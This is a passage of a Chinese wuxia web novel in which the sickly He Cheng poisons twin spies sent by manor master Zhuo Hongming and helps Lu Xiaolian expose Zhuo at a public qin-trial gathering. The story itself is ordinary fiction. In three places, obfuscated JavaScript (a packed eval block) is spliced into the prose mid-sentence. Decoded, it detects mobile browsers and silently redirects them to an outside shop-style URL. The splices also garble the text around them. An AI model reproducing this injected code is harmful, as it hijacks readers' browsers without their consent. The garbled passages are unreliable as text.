陆晓怜举了举手里的剑:“那我用横秋在他们脸上雕朵花,让他们瞧瞧我的手艺。” “他们太丑,配不上姑娘的花。”贺承还是笑,一手抵在唇边闷声咳嗽,一手悠悠然按下她的剑,“可毕竟来者是客,我还是准备了一点见面礼的——” 边说着,他边慢吞吞走到那两人面前,撑着膝盖蹲下身来,举着灯,盯着两人几乎一模一样的脸看了半晌:“都说双生子心意相通,你们的关系一定比寻常兄弟还要好吧?” 兄弟二人不知他葫芦里卖的什么药,抿紧了嘴,都不说话。 贺承又问:“你们谁是哥哥,谁是弟弟?” 兄弟二人依旧不答。 “好吧,那我就随机送礼罢。”贺承轻轻叹息,自怀中摸出一红一白两颗的药丸来。 已经猜到他们不会回应,贺承指着掌心里的药丸,强打着精神,耐着性子仔细给他们介绍:“红色这颗药丸,药性温和,服下之后不会立刻丧命,只会让你内息阻滞,气血渐渐衰竭。若内力强盛,经得起消耗,大约还能撑个一两年,不过你们这样的,我猜半死不活地拖上三五个月,也差不多该到头了。” 他说得很慢,边说,边不动声色地观察兄弟二人的神色。 介绍过红色药丸,他又指着掌心里白色的那颗药丸,继续说:“吃到这颗药丸的人就会倒霉一点,大约半个时辰后,便会腹痛难忍,疼痛不断加剧,直至两日后的此时,若无解药,肠断人亡。” “既然你们什么都不肯说,那我可就直接帮你们挑了——” 话音刚落,贺承左手捏着白色药丸,右手捏着红色药丸,一人一颗,硬生生塞进兄弟二人口中,又同时扣着他们的下巴微微一台,盯着他们喉头微动将药丸咽了下去,才松开手,满意拍拍手上并不存在的浮灰。 吞下白色药丸的人用力干呕着,试图呕出被吞入腹中的毒药。倒是刚刚一直没说话的人显得淡定许多,吞下红色药丸后,略一思索,便抬头问贺承:“你要我们做什么?” “你倒是挺聪明。”贺承眼光中流露出赞许,“要你们帮的忙不算难,你们既是来偷信的,总不能两手空空地走,我便让你带一封信回去交差,信的内容与原件相差无几,必定不会被你们庄主识破。不过,为了保证你回到琴剑山庄后不会说什么不该说的话,你兄弟得在我们这里待两日。” 贺承伸手解开钟晓好不容易系上的绳结,将他从绳索里放出来,从怀中摸出一封信来递给他:“放心吧,我保证他在我们这里吃得饱穿得暖,至于你们的解药,两日后琴剑山庄试琴会上,我自会双手奉上。” 贺承撑着膝盖摇摇晃晃地直起身,一路将人送到屋外去。 今夜难得不下雨,云雾之间半遮半显露出一轮圆月,是梅雨时节的南州难见的夜色。 贺承抬头看了一眼月色,轻声一叹:“今晚月色真好,我都有点想我弟弟了。” 话音刚落,屋子里还被绳子捆着的那个人,连滚带爬地挪到门框边,应景地凄声嘶喊一声:“哥——” 贺承轻轻推了推被他委以重任的人,好声好气地叮嘱:“记着,你们庄主要信,你便给他信,别的事一句也不要多提。若是走漏了风声,你确实还能再活几个月,可你这弟弟,便看不了几次月亮了。” 他回头看了他弟弟一眼,恨恨看着贺承,咬牙道:“你要说到做到。” 自小承师父教诲,言必信,行必果。 贺承自然是会说到做到的。 他目送翻墙进来的人又翻墙离去,揉着跳痛的额角,折身往后走。刚刚踏进屋子,三道目光齐齐投来,生生将他逼退半步。 这一夜虽然没有动手,但先是被陆晓怜吓得险些丢了半条命,又跟翻墙进来的那对兄弟斗智斗勇,折腾了半宿,本该卧床静养的人实在有些撑不住。贺承扶着桌子坐下,手肘撑在桌上,将虎口抵在额头,用拇指与中指揉摁着突突跳痛的太阳穴。 “沈兄——”钟晓欲言又止。 贺承勉强抬头看钟晓一眼,朝被五花大绑丢在地上的人使了个眼色,弱声说:“先给他换个姿势捆好,丢到床上去,多盖几层被子,别让他着凉了。我们——”他偏过头上闷闷咳了几声,声音低哑:“把人安顿好了,我们换个地方说话。” 钟晓问:“丢哪里的床上?这里吗?” 陆晓怜也跟着问:“那我住哪里?” “放走的那人,也不能全信,这个房间,今晚不要再住人。”贺承揉了揉额角,抬眼看着陆晓怜说,“你最好受点委屈,跟你师弟同住,出了什么事,也好有个照应。” 陆晓怜不服气:“我是他师姐,哪里需要他照应我!你们别以为拆信的时候,就你们发现了屋顶有人。我虽然内力不济,可我,可我自然也有我的好处,像今晚,我借张渔网设下机关,不也能捉到他们吗?” “是,你聪明着呢……”贺承一开口便是一阵低咳,边咳边笑着哄陆晓怜,“不是让他照应你,是他不够机灵,得靠你照应他。”眼前的危机解除,一口气松下了,他越发难受得厉害,身形摇摇欲坠,眼前一黑,竟脱力侧倒下去。 钟晓正蹲在地上吭哧吭哧绑着人,顾不上这边,幸好陆晓怜站得近,眼疾手快将人扶住。她说话一惯有些刀子嘴豆腐心的意思,此时将人稳稳扶住,皱紧了眉头,又是担忧又是嫌弃:“自己这副身子风一吹就破,你还有脸说我!” 贺承被她扶着坐稳了,苦笑着推开她的手,摆手表示自己没事。 他指尖的温度隔着春衫轻薄的布料透过来,竟有些灼人。陆晓怜不及多想,下意识抬手贴上他的额头,旋即惊呼:“怎么这么烫!” 正如陆晓怜所说,贺承如今这副身子,风一吹便要破了。 下午淋过雨,晚上在屋顶吹过风,春寒料峭,会受凉发热,确实也在意料之中。只是病势汹汹,钟晓把琴剑山庄派来偷信的人安顿妥当,赶到贺承房间里时,他已经烧得人事不省。 陆晓怜正守在床边,往贺承滚烫的额头上覆冷帕子。 钟晓问:“师姐,沈兄怎么样了?” 陆晓怜摇头:“我刚刚温了一碗药给他灌下去,看着并没起什么用。”她不忍心地看着床榻上的人烧得发红的眼眶,狠着心摇他:“沈烛,沈烛,快醒醒!钟晓来了。” 昏沉中,贺承觉察到有人推了推他的身子。他觉得自己化成了缸里的一缸水,绵软无力,随波逐流,被人一晃,便生生拍打到坚硬的缸壁上,哪里都疼。 他是有些生气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“沈烛,你松开!”她挣扎着想挣脱这莫名其妙的拥抱,却没想到病得七荤八素的人仿佛将她当做汪洋中的一段浮木,抱得极紧。 他眼中是潋滟水光,紧紧拥着陆晓怜:“师兄难受得厉害,听话,别再提什么沈烛沈灯气我……” 听他颠三倒四地说话,陆晓怜终于确认,这人虽然睁开了眼,其实并没有醒,要叫醒他,恐怕只能如他所言—— 无奈之下,陆晓怜并起两指,往贺承胸口膻中穴处落下去—— “师姐,不可!他膻中有旧伤——” 钟晓觉察她的想法时,出声阻止已来不及。 陆晓怜的手指已经点落在贺承身上的要穴,只见他闷哼一声,身子痉挛般一颤,揽着陆晓怜的手无力滑落下去。下一瞬,他猛然睁开眼,痛色犹如一柄利刃,破开他眼中雾气缠绕的迷离。剧痛之下,他的呼吸沉重而凌乱,胸口剧烈起伏着,许久吐不出来一个字。 钟晓还记得下午自己将内息打入他经脉之中试探的事,只是这一天兵荒马乱,来不及同陆晓怜提及这事。下午小心翼翼打入的一脉内息便激得他呕血,此刻陆晓怜没轻没重的这一下,也不知会伤他几分。 钟晓急切道:“沈兄,你怎么样?” 贺承漆黑的眼珠缓缓转动,锁定在床边的两个人脸上,注视了片刻,目光渐渐清明。他发白的唇动了动,吐出一口浊气,随后接连呛了几口血出来,他不在意地拿衣袖拭去,声音弱得只剩气音:“我没事,扶我起来。” 在钟晓的搀扶下,他靠在软枕勉强坐稳了,却见陆晓怜盯着他衣袖上的一抹殷红,边将衣袖上的血迹往被子里藏,边胡乱补了一句:“是堵在脏腑里的淤血,与你无关。” 陆晓怜知道这不是追究自己人是非对错的时刻,看着贺承眉宇间的倦色,她不再纠结他神志不清时的冒犯,也不再纠结他痛极呕血是否与自己相关,只简洁明了地问他:“钟晓来了,你有什么事一定要现在同我们说?” “是关于后日试琴会上,揭露江非沉之死真相的事。”贺承停下来,抵着唇咳嗽,指掌间又溅落了零星的殷红,他怕陆晓怜多心,压下了咳意,便将手拢进衣袖里藏好,才继续说下去,“在试琴会开始前,有几件事,我原本打算自己做的,可现在有心无力,只能拜托给你们了……” 12.第十二章 雨霁 那一晚,贺承强打着精神同陆晓怜和钟晓说了许久。 直到天边泛白,他才把要交代的事情尽数交代了,眼皮沉沉坠下来,他用最后的力气交代他们:“能做到最好……若是,若是受阻挠,不必强求……要紧的是……保全你们自己……” 他虽这样说,陆晓怜心里中却不以为意。 她与这个不知打哪里来的沈烛必然是不同的。沈烛也许都不曾与贺承打过照面,而贺承于她,却是不能割舍的牵挂。自己这趟来南州城,本就是为了在试琴会上逼问卓庄主真相的,怎么可能如沈烛说的这样,做不到便不强求了? 可看着这人斜倚在床头软枕上,明明已经虚弱得都快坐不稳,却还心心念念惦着他们安危的模样,陆晓怜还是把心里真实的想法吞了回去,跟着钟晓点头,应了“好”。 贺承确实倦极,半阖着眼,听见陆晓怜的声音,恍惚间像是听她接着喊了声“师兄”。 他的眼前黑云缭绕,已经快要看不清坐在床边的陆晓怜了,挣扎着抬手揉了揉她的头发,轻声说:“师兄没事,睡一觉就好。你听话点,别让我不安心……”随后头一垂,身子向侧边斜倒下去,终于彻底昏厥了过去。 他这一声“师兄”,将陆晓怜被无礼冒犯的愤愤化于无形。 钟晓把人扶着躺平下来,盖好被子,转头看见陆晓怜盯着床上的人看,看着看着就红了眼眶。他收拾妥当,轻轻推了陆晓怜一把:“师姐,怎么了?” 陆晓怜揉了下眼睛:“没事,我就是有点想师兄了。” 看着沈烛,想起了贺师兄? 钟晓想起和沈烛在屋顶上的话,不由心中警铃大作。 沈烛既然喜欢他师姐了解他师姐,自然不会不知道他师姐和他贺师兄的事情,此时借着生病,装起柔弱,演着师兄师妹的戏码,恐怕是别有居心,为了让他师姐触景生情! 钟晓越想越急,气得一贯信奉“克己慎独”的人,忍不住同他师姐说起别人的坏话来:“沈烛跟师兄比可差得远了,都不用说他这副风吹就倒的身子骨,单单是长相,这眉毛这鼻子,哪里比得上咱们师兄一点了?” 陆晓怜抬眼,觉得莫名其妙:“你怎么突然就看沈烛不顺眼了?” 钟晓愤愤不已:“他趁着师兄不在,对你那般无礼,不是君子行径,你可别被骗了。” “你在想什么呢?”陆晓怜看傻子一样地看钟晓,伸手摸摸他的额头,“莫不是也发热了?在说什么胡话?” 钟晓缩缩脖子,不敢接话。 “没发热啊。”陆晓怜踢他一脚,“没发热,脑子倒不清醒了!”想着屋子里还睡着个病人,她放轻了声量:“他不过是病糊涂了,把我当做别的什么人罢了。这人又是伤又是病的,孤零零一个人到南州来,也不知道要做什么,那些在意他的人要是知道他这个样子,一定要心疼死了。” 说着说着,她又想起贺承来,幽幽叹了口气:“也不知道咱们师兄现在在什么地方,过得好不好?要是生病了,受伤了,也不知道身边有没有人照顾?” “放心吧,师兄那么厉害,不会有事的!”钟晓安慰她。 陆晓怜脸上愁容未减:“师叔说,我爹亲自去找师兄,也不知道找到了没有。外面的话传得五花八门,要是我爹信了,还不把师兄一掌打死!” 钟晓又说:“掌门不是不讲理的人,怎么会因为未经取证的流言就责罚师兄呢?这件事太过蹊跷,一定是掌门和师兄追查到了什么,不便此时现身,你不要多想了。” “反正,他们查他们的,我们查我们的。”陆晓怜抹了把眼睫上的泪花,挺起胸脯来,“刚刚沈烛说的事,我们分头去做,师兄身上背着的人命,能少一条是一条!” 她边说着,边大步朝门外走去。 拉开门,正迎上一轮红日破云而出,朝阳橙红的光辉落满阴雨初歇的南州城。 陆晓怜仰头看着那轮红日,在心对自己说,雨过天晴,真是个好兆头。 雨后初霁,认为这是个好兆头的人,不仅仅陆晓怜一人。琴剑山庄庄主卓弘明凭栏远望,看着山庄中央新搭的台子在日光下熠熠生辉,心中也是欢喜的。 连绵一个多月的雨,竟在他办试琴会的前一天停了! 大家都说,老天爷都卖他琴剑山庄这个面子。 卓弘明满意地用丝帕擦了擦手,将帕子丢给一旁的婢女,转过身来,看见还跪在地上的人,踢了他一脚,冷声道:“进到屋里说。” 跪在地上的,正是昨夜潜入江家酒肆的双生兄弟中的哥哥葛武。 跟江非沉一样,葛武和弟弟葛文也是从琴剑山庄后山出来的。 能从后山出来的人无非两种,一种是江非沉这种,骨骼清奇,天赋出众,硬生生闯出一条路站到试琴会上的,另一种便是葛家兄弟这样的,在山庄之外已经没有家人,稍加调教便能替琴剑山庄卖命,死在伸手不见五指的暗夜里,死在不为人知的沟壑里,都无人追问。 他们办一件事,挣一件事的钱,当即便会花掉。 世上什么都比他们的命值钱,他们不知道自己还能活多长时间。他们的院子里来来去去的人太多了,以至于今日少两人,明日少一人,根本无人放在心上。 比如,昨夜卓弘明派出去的分明是他们兄弟二人,今日只回来了葛武一个人,卓弘明却没多问一句,开口便说:“可把信拿到手了?” 葛武托着信笺递出去:“拿到了,只是与我同去的……” 卓弘明大喜过望,迫不及待地从他手中接过信笺拆开,浑不在意地打断他的话:“拿到便好,拿到便好!退下去领赏吧!” 葛武拱手行礼,垂着头,又说:“昨日我与……” 读信的思绪被打断,卓弘明面露不悦。站在他身边的管家最懂察言观色,上前踢了葛武一脚:“让你退下就退下,废什么话!” 葛武眸光微闪,不再言语,默默退了出去。 他和弟弟葛文是因为家里受了灾才沦为孤儿,如果没有被捡进琴剑山庄,他们活不到这么大。这些年里,无即使山庄里的人怎么待他们,葛武一直都认为是琴剑山庄待他们有恩。 有恩,便要报。 而今日,来见庄主的路上,葛武跟自己打了个赌—— 外面的人都说庄主仁善,他们兄弟为琴剑山庄卖命多年,庄主会不会派人帮他把弟弟葛文救出来,并安排药庐里的先生为他们兄弟二人祛毒治伤呢? 可是卓弘明没有,他甚至没有耐心听完昨日究竟发生了什么。 他于是知道,在庄主眼中,他们确实只是一把刀,断了便丢了,无甚可惜,连刀折在何处都懒得过问一句。 —————— 试琴会近在眼前,整座南州城里的人,各有各的忙碌。 陆晓怜怎么也没想到,他们忙活了一天,最终确保他们能去参加试琴会、一番心血不会付之东流的关键人物,竟是长得跟豆芽菜似的江阿小。 贺承昏睡了整整一日,入夜后,身上的热度稍稍退了几分,才醒转过来。他强打起精神,靠坐在床头,与陆晓怜、钟晓讨论起第二日要如何混进琴剑山庄参加试琴会。 恰在这时,将阿小端着刚刚熬好的药,探头探脑地钻进房间里来,伸手掏出一叠花笺递到贺承眼前,细声细气地问:“你们是在找这个吗?” 花笺压的是琴剑山庄的水粉色合欢花,打开便有花香迎面,极其雅致。 展开花笺,不过是一行小字端端正正的写着,请于某月某日往某处参加某会,绝口不提邀请的是什么人参加。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161404|138408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这花笺帖并非分发给掌门名士的署名邀帖。 这种不署名的邀帖,恰好为冒名顶替提供了便利。 陆晓怜惊喜不已,捏着江阿小的脸颊,问他:“你怎么会有这个?” 江阿小洋洋得意:“从那天欺负我的那个坏家伙身上顺来的。” 小孩子说话总是留着空白让人猜,但大家倒也不难猜到,他说的,应该就是他们初初遇见那天,把他拎到半空中差点摔伤的那个盛气凌人的凤鸣山少年。 钟晓一本正经,教育孩子:“你小小年纪怎么能偷窃?” 江阿小不满地瘪瘪嘴,不高兴地瞪了他一眼,扭头从贺承手里夺回邀帖重新发放,给了贺承一张,又给了陆晓怜一张,到了钟晓这里,什么也不给,还朝他龇了龇牙:“你不想要就算了。” 一屋子人被他逗得笑起来。 大家都相识不久,可江阿小毫无缘由的,就是跟贺承最亲。他在哄笑声里举着药碗,趴在床头盯着贺承把汤药喝了下去,期期艾艾地问:“你们明日就要去接我大哥了吗?” “是,明日你与祖母在家里等着我们。”贺承摸摸他的小脑袋,因为太过虚弱疲倦,语气和目光都显得分外温和。 贺承不希望陆晓怜涉险,在他原来的计划里,他和钟晓带着那个深夜来偷信的小贼混进琴剑山庄去,而陆晓怜留在酒肆护着江家祖孙。 可计划中途生变,第二天一早,被他们绑在房间里的人竟用桌脚磨断绳索逃了出去。 这个人顶着一幅与他孪生哥哥一模一样的脸,本身便是个证据,贺承和钟晓兵分两路去捉人,不得不让陆晓怜先进琴剑山庄,以便后续的里应外合。 好在试琴会这一天,琴剑山庄人流如织,只要陆晓怜不生事,就不会有人注意到她。他们约定无论是否能找到人,一个时辰后便去琴剑山庄与陆晓怜汇合,贺承特意叮嘱陆晓怜,这一个时辰里,她负责摸清试琴会上的情况,暂且按兵不动,切莫打草惊蛇。 可一个时辰的时间已经不短,足以让卓弘明兴风作浪。 何况,琴剑山庄办这一场试琴会不仅是冲着贺承来的,更是冲着青山城来的。 比试开始前,卓弘明领着琴剑山庄的弟子凄凄惨惨地哀悼了江非沉一番,说他好不容易选中了继任者,本想过几年就退位让贤,没想到如今反而要再办试琴会,说是他软弱无能,青山城一手遮天,他没能耐为琴剑山庄的孩子讨个说法。 卓弘明此话一出,四下哗然。 无涯洞外的惨案,外人都说是贺承所为,青山城坚持要进一步查实,虽然拖沓许久,惹人非议,却从来没人将这事摆到台面上来。 若说先前琴剑山庄不往青山城送邀帖,还只是暗里离心,如今在众人瞩目的试琴会上说出这话来,就是掀翻了桌子,摆明是要与青山城为敌。 陆晓怜将目光移向坐在第一排的凤鸣山掌门叶广与逐月阁阁主孟岗。 此刻卓弘明亮出立场,众人自然会好奇,同为四大门派的凤鸣山与逐月阁是何态度。 陆晓怜记得,凤鸣山的叶伯伯与爹爹的关系很好。小的时候,叶伯伯家的芷蔚姐姐还常常来青山城小住。青山城里女弟子少,陆晓怜难得有年纪相仿的姐妹作伴,每逢叶芷蔚来,她总是很欢喜。 倒是逐月阁的孟阁主,不苟言笑,养出一对儿子孟元经、孟元纬,也跟他们的父亲一样,寡言端肃,比她爹还爱教训她,陆晓怜自小就不爱跟他们一起玩。 远远看见孟岗脸色微变,似乎想说点什么,陆晓怜暗道不妙,脆生生一声清喝:“我有东西要给卓庄主!”说罢,她足尖轻点,在空中几个回落,顷刻间落到卓弘明身边,站到众目睽睽之下去。 陆晓怜恭恭敬敬地礼了一礼:“卓伯伯,晓怜不请自来,请您见谅。” 13.第十三章 试琴会 所谓伸手不打笑脸人。陆晓怜是小辈,礼数也算周到,俏生生笑吟吟往台上一站,纵使卓弘明心里有气,也不好当众为难她。 卓弘明是见过大场面的人,自然不会将区区小辈放在眼里。他很快定了心神,面上仍旧是那副哀戚模样,不挂一点笑意,开口说话,声音却是一贯的温和:“是伯伯要请你见谅才是。” 他长长叹了口气:“若是沉儿还在,这一场试琴会本是不必再办的,虽说办试琴会是无奈之举,可到底也是桩大事,琴剑山庄理当差人送邀请帖去青山城的。但提到青山城,所有人会想起沉儿是如何惨死在青山城的,心里实在过不去。” “也罢——”他苦笑着长吁了口气,“索性便让我当了这个罪人,这一回,是我不愿意差人往青山城送邀帖,是我心里过不了这道坎。” 这一番话入情入理,又诚恳坦荡,将琴剑山庄受害者的形象刻画的入木三分。 世人早对青山城偏袒贺承的做法颇有微词,人群里果然很快传出一些议论声—— “栋折梁摧之痛,卓庄主如此,也算是情有可原。” “琴剑山庄已忍让至此,陆姑娘莫要步步紧逼了!” “既然不送邀帖,摆明了是不欢迎青山城的人,还要厚着脸皮凑过来做什么? ” …… “来做什么吗?”陆晓怜眨了眨眼,一双浑圆杏眼澄澈而无辜,“我来送一封信,还顺便替人向卓伯伯要件东西。” 提到信,卓弘明的脸色几不可查地沉了沉。 毕竟是经历过风浪的人,不可能被小辈的一句话打得失态,他背手看陆晓怜,话里却暗藏了威胁:“观礼也好,切磋也好,我与你的父亲相交一场,你若是安分循矩的,便还是我们琴剑山庄的客人,可你若是来生事的,就别怪卓伯伯不客气。” “我当真是来送信的。”陆晓怜没有与他周旋,无辜眨着眼,不知从哪里掏出来一叠纸,高声道,“这封信不仅要送给卓伯伯,也要请在场各位一同看看。” 这叠纸,每一页笔迹不同,抄写的却都是江非沉留下的那封信。 贺承那日昏厥前,让陆晓怜和钟晓想办法将江非沉的信拓印出来,多多益善。 可时间太紧,书坊来不及刻板油印,陆晓怜灵机一动,让江阿小找了他书孰的同伴一同来抄写,抄一份一文钱,将近二十个孩子,花了一整天的时间,才攒出她手中厚厚的一叠。 陆晓怜亲手将誊写的信分给坐在前排的几位前辈,后面的人山人海无法一一顾及,她便抬手一扬,将整叠纸撒了出去,高声道:“这是江非沉江师兄离开南州城前留下的信,托他的家人转交给贺承师兄,里面所述之事,便是我今日来此地的缘由。” 满场尽是刷刷翻动纸页与低低讨论的声音。 卓弘明让人偷了信来看,知道信里的内容,心里发虚,再难维持最初的和颜悦色。他冷冷盯着陆晓怜,警告她:“晓怜,你要是再胡闹下去,可别怪卓伯伯替你爹教训你。” “我是不是在胡闹,卓伯伯心里应该有数。” 卓弘明沉下脸:“你伪造沉儿的书信,当着天下英雄的面,捏造罪名抹黑琴剑山庄,还不是胡闹吗?”他故技重施,又拿无涯洞外的事来卖惨:“晓怜,琴剑山庄与你青山城并无旧仇,你师兄杀我爱徒在先,你造谣污蔑在后,究竟是为什么?” 陆晓怜仿佛听不懂卓弘明在说什么,微微歪头,困惑地盯着他看。 她的目光太过认真,不仅卓弘明被盯着心里发毛,台下的人读完了手里的信,也暂且停下细细碎碎的讨论,好奇地看着陆晓怜。 沉默半晌,陆晓怜从衣袖里摸出一枚信封,夹在指尖,略略举高。 她对着卓弘明大声问出自己的困惑:“卓伯伯,我都还没把信给您,您怎么就知道我在信中捏造罪名抹黑琴剑山庄?是您早就知道信里写了什么,还是无论信里写了些什么,您都会说是我伪造的?” 陆晓怜抛出的这个问题,好像无论怎样回答,都不太妥当。卓弘明索性不搭话,想等着她将江非沉信中所述之事一件一件拿出来与他对峙,再逐一击破。 如他所料,陆晓怜果然将手中的那封信递给他,补了一句:“一开始是,我也对信中所说之事也是不信的,可昨晚我突然想到,我确实在无涯洞外捡到了这个——” 陆晓怜边说着,边走到前排的前辈面前,摊开掌心。 她皓白如玉的手掌上躺着一枚铁蒺藜,四下延伸而出的尖刺,张牙舞爪地闪着寒光。 陆晓怜展示了一圈手里的铁蒺藜,继续说:“我在无涯洞外捡到这个东西,也觉得奇怪,那日来我青山城的师兄弟里,并没有使暗器的,怎么会无端地掉落一枚铁蒺藜?直到读到非沉师兄的信,我的疑惑才迎刃而解。” 她目光一凝,转头看着卓弘明:“我现在才知道,这不是一枚普通的铁蒺藜,这原本是淬了毒,要被用来取我师兄性命的!若不是非沉师兄仁义,不忍向我师兄用毒,我师兄哪里还能有命在?” “一派胡言!这样的铁蒺藜南州城有,青山城有,天下处处都有,怎么就能说是我让沉儿带着的?”卓弘明脸色阴沉,“再说了,信是你带来的,铁蒺藜也是你带来的,怎么会这么巧,所有对琴剑山庄不利的证据都是你找到的?” 他惯会模糊重点,将大家的疑心勾出来,点到为止,不再多说,反而语重心长地劝起陆晓怜:“晓怜,卓伯伯知道你觉得贺承受了委屈,为他抱不平,可无论如何,你也不能颠倒黑白,编出这样的故事啊!” 台下议论声又起,大约有人因为卓弘明这几句话又动摇了想法。 世上总有这样的人,墙头的草被乱风扫过,一会儿往东边倒,一会儿往西边倒。 可陆晓怜没顺着卓弘明的思路走,她甚至没有对他的质疑多说半句,只是干脆利落地反问他:“若信中所言不实,卓伯伯又为何要让人半夜潜到我房里来偷这封信?” 一石激起千层浪,台下一片细碎的说话声。 大风扫过,趴在墙头的荒草又有一大半换个方向倒了下去。 卓弘明冷冷一笑:“琴剑山庄行事向来磊落,你说这话有什么证据?” “不劳卓庄主费心,您想要证据,自然是会有的。”一道声音自半空中落下,随着声音,两道的人影落在陆晓怜身边。 那人影中清瘦些的是贺承,他轻身功夫好,落地极轻,就像是被风吹落下来的,只是落地时不大稳,微微踉跄了一下,扶着他身边的人,才堪堪站住。 贺承手里拿绳子牵了个人,被他牵着的那个人落地便显得笨重许多,发出“砰”的一声巨响,震醒了众人,也震醒了卓弘明。 贺承抬手揭下他带来的那个人脸上罩着的布套,正是两日前潜入江家酒肆的那对双生子中的弟弟葛文。 拖着这么个大活人在南州城里奔波,贺承累得有些站不住,伸手扣住葛文的肩膀,顺势将身上的重量压了上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188598|138408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他歇了片刻,终于缓过一口气,将葛文往前推了推,问卓弘明:“卓庄主,这个人,您眼熟不眼熟?” 卓弘明见着葛文确实觉得眼熟,愣了片刻,才想起来那日派去江家酒肆偷信的,似乎确实有两个人,而昨日早晨将信送回来的,却只有一人。他此刻看着这个人觉得眼熟,便是因为这个人与昨日送信回来的人长得一模一样。 他想起,隐约听管理这群后山弟子的人说起过,这年走出后山的几人中有一对双生子,默契异常,派他们一起出去做事总能事半功倍。 想来,此人便是双生子中的一个。 卓弘明不慌不忙:“确实眼熟,琴剑山庄有一名弟子与这位后生生得几乎一模一样。听他说,他在庄外有一名双生兄弟,想必便是这位了。” 半真半假的话总是更难反驳,卓弘明认下一半,又撒了一半的谎,而后慢悠悠地问陆晓怜:“晓怜,这便是昨日潜入你房中的人吗?” 陆晓怜下意识看了贺承一眼,见他没反对,朝卓弘明点了点头。 “那可真是误会。”卓弘明哈哈一笑,“他并非山庄弟子,怎么会受我差遣呢?他那双生兄弟倒是山庄弟子,可一直安安分分地待在庄子里,不信的话,我让人将他找来。” 说话间,他朝身边人使了个眼色,葛武很快被带了上来。 仓皇间,他只远远望了葛文一眼,见他虽被捆缚了双手,气色却不错,可见那日喂他们服食毒药之人信守承诺,这几日确实善待葛文,安心几分。 很快,葛武被摁着在人前站定,卓弘明与手下对视一眼,微微颔首,和颜悦色地对葛武说:“他们捉了你兄弟来,说他潜入陆姑娘房中偷信。你自己来告诉大家,我可曾命令过你去偷过什么信?” 葛武对卓弘明拱手一礼,又转过身来,对着众人深深一揖。 正要开口说后,却被贺承喝住:“等等!你既听命于卓庄主,说的话,也未必可信。”他深深盯着葛武,一字一字缓慢说:“你敢不敢以你双生弟弟的名义起誓,若你今日说了谎,便让你的弟弟,肠穿肚烂而死!” 葛武不傻,知道他这是在警告自己,微微一哂,大大方方按着贺承的要求起了誓,问他:“如此,可以了吧?” 贺承点头,抬手做出个“请”的动作,往后退了一步。 葛武气沉丹田,高声道:“两日前,庄主得到线人回报的消息,听说江非沉师兄留了封信要给青山城的贺承。当日庄主便命我与弟弟葛文二人趁夜色潜入江师兄祖母所开的酒肆,将这封信偷回或销毁。” 卓弘明脸色一变,高声喝止:“你可知道你在说什么!” 贺承与陆晓怜相视一眼,互相使了个眼色,拦下要去将葛武拉回来的卓弘明。 陆晓怜说:“卓伯伯,人既然是您叫来的,不妨听他把话说完。” “虽然我成功盗取了信件,交给庄主,可葛文技不如人,被陆姑娘擒获。”葛武回头看了葛文一眼,转头回来,继续说下去,“之后的事,便如诸位所见。” 说到这里,也不知是话说完了,还是什么别的缘故,葛武忽然顿住不再言语,倏尔按着心口,“哇”地喷出一大口黑血。 “哥——”几步之外的葛文瞠目欲裂。 葛武站立不稳地晃了晃,骤然向前跪倒下去。他双手撑着地面,勉强稳住身形,费力地说:“我今日所言,句句属实……非沉师兄已经为大家做了那么多,我们岂能不为自己,争一争……” 14.第十四章 挖坟 试琴会当日,第一场比试还没开始,便生出这样的变故,所有人都是始料未及。 逐月阁少阁主孟元经几步跃到葛武身边,捏着他手腕沉吟片刻,抬手封住他几处穴道,皱眉道:“他中毒了。” 眼见葛武出事,葛文已经挣脱贺承的桎梏,跪在葛武旁边将人扶住。听见孟元经这话,抬头恨恨看向贺承:“你不是说,我吃的那颗毒药会提前发作吗?怎么如今反而是我大哥先毒发了?” “不是他们……是庄主……”葛武伏在葛文手臂上,气息奄奄,“庄主给我安排了新的任务,为了不让我往外说,逼我服了毒……这是山庄里的规矩,你不是不知道……” 葛武是卓弘明开口让人带上来的,如今反过来咬他一口,场面未免太过难看。一直泰然自若的卓弘明此时终于乱了阵脚,反驳葛武:“你胡说!那毒药是南婧亲手配的,只要每日服用解药,便不会发作。今日的解药,早已经分发,你毒发怎么会与我有关!” 葛武口唇发乌,颤抖着摊开手,掌心里赫然托着一颗药丸。 葛文心急如焚:“这便是解药吗?你为什么不吃?快吃下去!” 葛武嘴角犹带着血污,凛然一笑:“吃了解药……我要如何向大家证明,一向履仁蹈义的卓庄主,其实根本不把我们当人看,屡屡下毒操作门人……” 说卓弘明下毒,众人是相信的。 他的夫人南婧是五毒谷传人,当年四大门派之一的琴剑山庄与大家避之不及的五毒谷结为姻亲,也引发过不小的议论。没想到南婧嫁入琴剑山庄,倒好像认认真真当起了庄主夫人,再没有在江湖上露股过面。 如今看来,她人虽不在江湖上露面,她所制作的毒药却不然。 五毒谷传人亲手调制的毒药厉害非常,几句话功夫,葛武脸上黑气渐浓,可见毒性已更深侵入脏腑。凤鸣山掌门叶广、逐月阁阁主孟岗听过他的一番话,也都坐不住,起身上前,只劝他:“你先把解药吃下去,其他事容后再说!” 葛武挣扎道:“你们当真信我?” 